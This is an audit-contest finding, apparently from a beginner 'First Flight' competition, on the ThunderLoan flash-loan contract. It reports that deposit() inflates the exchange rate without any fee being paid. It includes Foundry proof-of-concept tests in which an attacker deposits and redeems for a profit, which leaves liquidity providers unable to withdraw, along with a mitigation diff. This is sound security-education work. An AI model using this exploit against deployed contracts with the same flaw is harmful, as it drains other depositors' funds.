Thunder Loan
AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

ThunderLoan::deposit updates the exchange rate without any fee being paid, letting depositors redeem more than they put in and making the pool insolvent

prasadreddy

Root + Impact

Description

  • Normal behavior: the asset token exchange rate should rise only when flash-loan fees are paid into the pool, so liquidity providers earn yield from real fee income.

  • Issue: `deposit()` also calls `updateExchangeRate(calculatedFee)` with a fee that nobody paid. Each deposit inflates the exchange rate, so asset tokens become redeemable for more underlying than the pool holds. A depositor can deposit and immediately redeem for a profit, and the last LPs cannot withdraw.

// Root cause in the codebase with @> marks to highlight the relevant section
​
```solidity
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
​
// @> a "fee" that no one pays raises the exchange rate on every deposit
uint256 calculatedFee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(calculatedFee);
​
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

Risk

Likelihood:

  • Happens on every `deposit()` call, with no special conditions or flash loan needed.

Impact:

  • Any user can deposit and redeem for more than they deposited, taking the difference from other LPs.

  • The pool holds less underlying than the total LP claims, so later redeems revert and funds are lost.

Proof of Concept

An LP deposits 1000 tokens. An attacker deposits 1000, then redeems everything. Because each deposit raises the exchange rate (about 1.003 after the first, about 1.0045 after the second), the attacker leaves with about 1001.5 tokens, the pool is left with about 998.5, and the LP's claim (about 1004.5) can no longer be paid.

Save as `test/PoC.t.sol` and run `forge test --mt test_depositInflatesExchangeRate -vv`.
​
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
import {Test, console} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ThunderLoan} from "../src/protocol/ThunderLoan.sol";
​
contract MockToken is ERC20 {
constructor() ERC20("Mock", "MCK") {}
function mint(address to, uint256 amt) external { _mint(to, amt); }
}
​
// Oracle mocks: every token is priced at 1 WETH
contract MockPool {
function getPriceOfOnePoolTokenInWeth() external pure returns (uint256) { return 1e18; }
}
contract MockFactory {
address immutable pool;
constructor(address p) { pool = p; }
function getPool(address) external view returns (address) { return pool; }
}
​
contract PoC is Test {
ThunderLoan tl;
MockToken token;
address lp = makeAddr("lp");
address attacker = makeAddr("attacker");
​
function setUp() public {
MockFactory factory = new MockFactory(address(new MockPool()));
ThunderLoan impl = new ThunderLoan();
tl = ThunderLoan(address(new ERC1967Proxy(address(impl), "")));
tl.initialize(address(factory));
token = new MockToken();
tl.setAllowedToken(IERC20(address(token)), true);
token.mint(lp, 1000e18);
token.mint(attacker, 1000e18);
}
​
function _deposit(address who, uint256 amt) internal {
vm.startPrank(who);
token.approve(address(tl), amt);
tl.deposit(IERC20(address(token)), amt);
vm.stopPrank();
}
​
function test_depositInflatesExchangeRate() public {
// 1. LP provides 1000 tokens of liquidity
_deposit(lp, 1000e18);
​
// 2. Attacker deposits 1000 and redeems everything, with no flash loan involved
_deposit(attacker, 1000e18);
vm.prank(attacker);
tl.redeem(IERC20(address(token)), type(uint256).max);
​
// 3. Attacker ends with more than the 1000 it started with
console.log("attacker balance:", token.balanceOf(attacker)); // about 1001.5e18
assertGt(token.balanceOf(attacker), 1000e18);
​
// 4. The pool can no longer pay the LP's full claim, so the LP's redeem reverts
vm.startPrank(lp);
vm.expectRevert();
tl.redeem(IERC20(address(token)), type(uint256).max);
vm.stopPrank();
}
}
```

Recommended Mitigation

Fees are already added to the exchange rate in `flashloan()`, where they are actually paid, so `deposit()` should not touch the rate. Removing these two lines keeps the rate backed by real fee income, so a deposit followed by a redeem returns exactly the amount deposited.
​
```diff
assetToken.mint(msg.sender, mintAmount);
-
- uint256 calculatedFee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(calculatedFee);
-
token.safeTransferFrom(msg.sender, address(assetToken), amount);
```
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!